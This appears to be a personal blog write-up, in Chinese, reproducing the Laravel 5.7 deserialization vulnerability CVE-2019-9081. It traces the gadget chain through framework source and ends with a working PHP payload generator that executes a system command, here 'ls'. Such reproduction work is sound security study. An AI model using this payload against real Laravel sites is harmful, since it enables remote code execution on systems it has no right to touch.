Laravel_5.7.* 反序列化复现

Last updated on November 30, 2023 am

CVE-2019-9081 复现

反序列化链分析

1. 入口

此反序列化漏洞入口位于 Illuminate\Foundation\Testing\PendingCommand destruct() 方法

1
2
3
4
5
6
7
public function __destruct()
{
if ($this->hasExecuted) {
return;
}
$this->run();
}

分析:$this->hasExecuted默认为false不执行,所以会直接执行 $this->run()方法,查阅run()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function run()
{
$this->hasExecuted = true;

$this->mockConsoleOutput();

try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}

throw $e;
}

if ($this->expectedExitCode !== null) {
$this->test->assertEquals(
$this->expectedExitCode, $exitCode,
"Expected status code {$this->expectedExitCode} but received {$exitCode}."
);
}

return $exitCode;
}

会先经历mockConsoleOutput()方法,查看该方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
protected function mockConsoleOutput()
{
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);

foreach ($this->test->expectedQuestions as $i => $question) {
$mock->shouldReceive('askQuestion')
->once()
->ordered()
->with(Mockery::on(function ($argument) use ($question) {
return $argument->getQuestion() == $question[0];
}))
->andReturnUsing(function () use ($question, $i) {
unset($this->test->expectedQuestions[$i]);

return $question[1];
});
}

$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});
}

大体意思就是对$thie->test$this->app成员进行初始化

简单写个脚本调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
namespace Illuminate\Foundation\Testing{
use Faker\DefaultGenerator;
use Illuminate\Container\Container;

class PendingCommand{
protected $app;
protected $command;
protected $parameters;
public $test;

public function __construct($command,$parameters)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test = new DefaultGenerator();
$this->app = new DefaultGenerator();
}
}
}

namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct(){
$this->default = ['1'];//这里用数组是因为原调用出会有一个foreach遍历
}
}
}

namespace {
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand('system',['ls'])));
}

这里使用Faker\DefaultGenerator\DefaultGenerator来为testapp赋值是因为这类的__call()``__get()方法都比较简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function __get($attribute)
{
return $this->default;
}
/**
* @param string $method
* @param array $attributes
*
* @return mixed
*/
public function __call($method, $attributes)
{
return $this->default;
}

直接报错

问题出在这一句$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

也就是之前我们对app的赋值有问题,这里会把app当做一个数组来执行,返回去查看app的说明

1
2
3
4
5
6
/**
* The application instance.
*
* @var \Illuminate\Foundation\Application
*/
protected $app;

也就是说,$app \Illuminate\Foundation\Application的实例,修改一下Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

namespace Illuminate\Foundation\Testing{
use Faker\DefaultGenerator;
use Illuminate\Foundation\Application;

class PendingCommand{
protected $app;
protected $command;
protected $parameters;
public $test;

public function __construct($command,$parameters)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test = new DefaultGenerator();
$this->app = new Application();
}
}
}
namespace Illuminate\Foundation{
class Application{

}
}

namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct(){
$this->default = ['1'];//这里用数组是因为原调用出会有一个foreach遍历
}
}
}

namespace {
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand('system',['ls'])));
}

但是继续报错

提示Target [Illuminate\Contracts\Console\Kernel] is not instantiable,也就是说[Illuminate\Contracts\Console\Kernel]这个东西对应的类无法被实例化。

那么我们单步调试看看

最终在Illuminate\Container\Container.phpif ($this->isBuildable($concrete, $abstract))方法报错

相关代码如下

1
2
3
4
5
6
7
8
9
 $concrete = $this->getConcrete($abstract);

if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
}
else {
$object = $this->make($concrete);
}

这里的$abstract就是Illuminate\Contracts\Console\Kernel这个字符串,也就是最前面的Kernel::class所对应的字符串

来看看这几个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
protected function getConcrete($abstract)
{
if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
return $concrete;
}
// If we don't have a registered resolver or concrete for the type, we'll just
// assume each type is a concrete name and will attempt to resolve it as is
// since the container should be able to resolve concretes automatically.
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}

return $abstract;
}

protected function isBuildable($concrete, $abstract)
{
return $concrete === $abstract || $concrete instanceof Closure;
}

public function build($concrete)
{
if ($concrete instanceof Closure) {
return $concrete($this, $this->getLastParameterOverride());
}

$reflector = new ReflectionClass($concrete);

if (! $reflector->isInstantiable()) {
return $this->notInstantiable($concrete);
}

$this->buildStack[] = $concrete;

$constructor = $reflector->getConstructor();

if (is_null($constructor)) {
array_pop($this->buildStack);

return new $concrete;
}

$dependencies = $constructor->getParameters();
$instances = $this->resolveDependencies(
$dependencies
);

array_pop($this->buildStack);

return $reflector->newInstanceArgs($instances);
}


到这里其实就已经了然了。

字符串Illuminate\Contracts\Console\Kernel作为$this->bindings的键值,去取另一个数组,并从另一个数组中以键值concrete取出一个对象,否则就返回Illuminate\Contracts\Console\Kernel,然后去build一个对象,但是我们之前给app传入的对象显然不能实例化,因为我们之前没有对bindings赋值,传进去的concrete是字符串Illuminate\Contracts\Console\Kernel

所以我们就得为app的值构造一下。

先来看看我们需要什么,我们需要app是一个二维数组,[Illuminate\Contracts\Console\Kernel] => [concrete => 一个可以实例化的类],并且这个类还得有call方法,因为最终返回的就是一个该类的实例化对象,然后调用这个对象的call方法

最后发现就是

Illuminate\Container下的Container类好用,不仅有bindings属性,还有call方法

于是再修改payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

namespace Illuminate\Foundation\Testing{
use Faker\DefaultGenerator;
use Illuminate\Container\Container;

class PendingCommand{
protected $app;
protected $command;
protected $parameters;
public $test;

public function __construct($command,$parameters)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test = new DefaultGenerator();
$this->app = new Container();
}
}
}

namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct(){
$this->default = ['1'];
}
}
}

namespace Illuminate\Container{
class Container{
protected $bindings;
public function __construct(){
$this->bindings = ['Illuminate\Contracts\Console\Kernel' => ['concrete' => 'Illuminate\Container\\Container']];
}
}
}

namespace {

use Illuminate\Foundation\Testing\PendingCommand;

echo urlencode(serialize(new PendingCommand('system',['ls'])));
}

然后就可以成功打通

2.后记

1.判断哪里有问题就看程序在哪里crush掉,也就是类似于进入catch

1
2
3
4
5
6
7
8
9
return function ($passable) use ($destination) {
try {
return $destination($passable);
} catch (Exception $e) {
return $this->handleException($passable, $e);
} catch (Throwable $e) {
return $this->handleException($passable, new FatalThrowableError($e));
}
};

2.动态调试还是比较重要的,不需要理解每一步具体是在干什么,但通过注释,变量名字大体都可以猜到是在干什么

3.一步一步复现成功,还是很开心哒!


Laravel_5.7.* 反序列化复现
http://example.com/2023/10/07/Laravel/
Author
yring
Posted on
October 7, 2023
Licensed under